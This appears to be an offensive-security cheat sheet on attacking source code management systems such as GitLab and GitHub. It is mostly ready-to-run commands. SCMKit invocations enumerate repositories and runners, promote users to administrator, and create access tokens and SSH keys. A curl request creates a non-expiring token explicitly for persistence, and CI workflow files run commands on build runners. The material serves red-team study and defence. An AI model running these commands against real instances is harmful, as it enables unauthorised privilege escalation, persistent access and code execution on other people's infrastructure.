Source Code Management

Summary

• Enumeration
• Exploit Gitlab CI/Github Actions
• References

Enumeration

Using SCMKit - Source Code Management Attack Toolkit

• Discover repositories being used in a particular SCM system ps1 SCMKit.exe -s gitlab -m listrepo -c userName:password -u https://gitlab.something.local SCMKit.exe -s gitlab -m listrepo -c apiKey -u https://gitlab.something.local
• Search for repositories by repository name in a particular SCM system ps1 SCMKit.exe -s github -m searchrepo -c userName:password -u https://github.something.local -o "some search term" SCMKit.exe -s gitlab -m searchrepo -c apikey -u https://gitlab.something.local -o "some search term"
• Search for code containing a given keyword in a particular SCM system ps1 SCMKit.exe -s github -m searchcode -c userName:password -u https://github.something.local -o "some search term" SCMKit.exe -s github -m searchcode -c apikey -u https://github.something.local -o "some search term"
• Search for files in repositories containing a given keyword in the file name in a particular SCM system ps1 SCMKit.exe -s gitlab -m searchfile -c userName:password -u https://gitlab.something.local -o "some search term" SCMKit.exe -s gitlab -m searchfile -c apikey -u https://gitlab.something.local -o "some search term"
• List snippets owned by the current user in GitLab ps1 SCMKit.exe -s gitlab -m listsnippet -c userName:password -u https://gitlab.something.local SCMKit.exe -s gitlab -m listsnippet -c apikey -u https://gitlab.something.local
• List all GitLab runners available to the current user in GitLab ps1 SCMKit.exe -s gitlab -m listrunner -c userName:password -u https://gitlab.something.local SCMKit.exe -s gitlab -m listrunner -c apikey -u https://gitlab.something.local
• Get the assigned privileges to an access token being used in a particular SCM system ps1 SCMKit.exe -s gitlab -m privs -c apiKey -u https://gitlab.something.local
• Promote a normal user to an administrative role in a particular SCM system ps1 SCMKit.exe -s gitlab -m addadmin -c userName:password -u https://gitlab.something.local -o targetUserName SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.something.local -o targetUserName SCMKit.exe -s gitlab -m removeadmin -c userName:password -u https://gitlab.something.local -o targetUserName
• Create/List/Delete an access token to be used in a particular SCM system ps1 SCMKit.exe -s gitlab -m createpat -c userName:password -u https://gitlab.something.local -o targetUserName SCMKit.exe -s gitlab -m createpat -c apikey -u https://gitlab.something.local -o targetUserName SCMKit.exe -s gitlab -m removepat -c userName:password -u https://gitlab.something.local -o patID SCMKit.exe -s gitlab -m listpat -c userName:password -u https://gitlab.something.local -o targetUser SCMKit.exe -s gitlab -m listpat -c apikey -u https://gitlab.something.local -o targetUser
• Create/List an SSH key to be used in a particular SCM system ps1 SCMKit.exe -s gitlab -m createsshkey -c userName:password -u https://gitlab.something.local -o "ssh public key" SCMKit.exe -s gitlab -m createsshkey -c apiToken -u https://gitlab.something.local -o "ssh public key" SCMKit.exe -s gitlab -m listsshkey -c userName:password -u https://github.something.local SCMKit.exe -s gitlab -m listsshkey -c apiToken -u https://github.something.local SCMKit.exe -s gitlab -m removesshkey -c userName:password -u https://gitlab.something.local -o sshKeyID SCMKit.exe -s gitlab -m removesshkey -c apiToken -u https://gitlab.something.local -o sshKeyID

Personal Access Token

Create a PAT (Personal Access Token) as a persistence mechanism for the Gitlab instance.

curl -k --request POST --header "PRIVATE-TOKEN: apiToken" --data "name=user-persistence-token" --data "expires_at=" --data "scopes[]=api" --data "scopes[]=read_repository" --data "scopes[]=write_repository" "https://gitlabHost/api/v4/users/UserIDNumber/personal_access_tokens"

Exploit Gitlab CI/Github Actions

• Gitlab-CI "Command Execution" example: .gitlab-ci.yml ```yaml stages: - test

  test: stage: test script: - | whoami parallel: matrix: - RUNNER: VM1 - RUNNER: VM2 - RUNNER: VM3 tags: - ${RUNNER} * Github Action "Command Execution" example: `.github/workflows/example.yml`yml name: example on: workflow_dispatch: push: branches: [ main ] pull_request: branches: [ main ]

  jobs: build: runs-on: windows-2019

  steps:
    - name: Execute
      run: |
        whoami
  

  ```

References

• Controlling the Source: Abusing Source Code Management Systems - Brett Hawkins - August 9, 2022

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Last update: August 30, 2022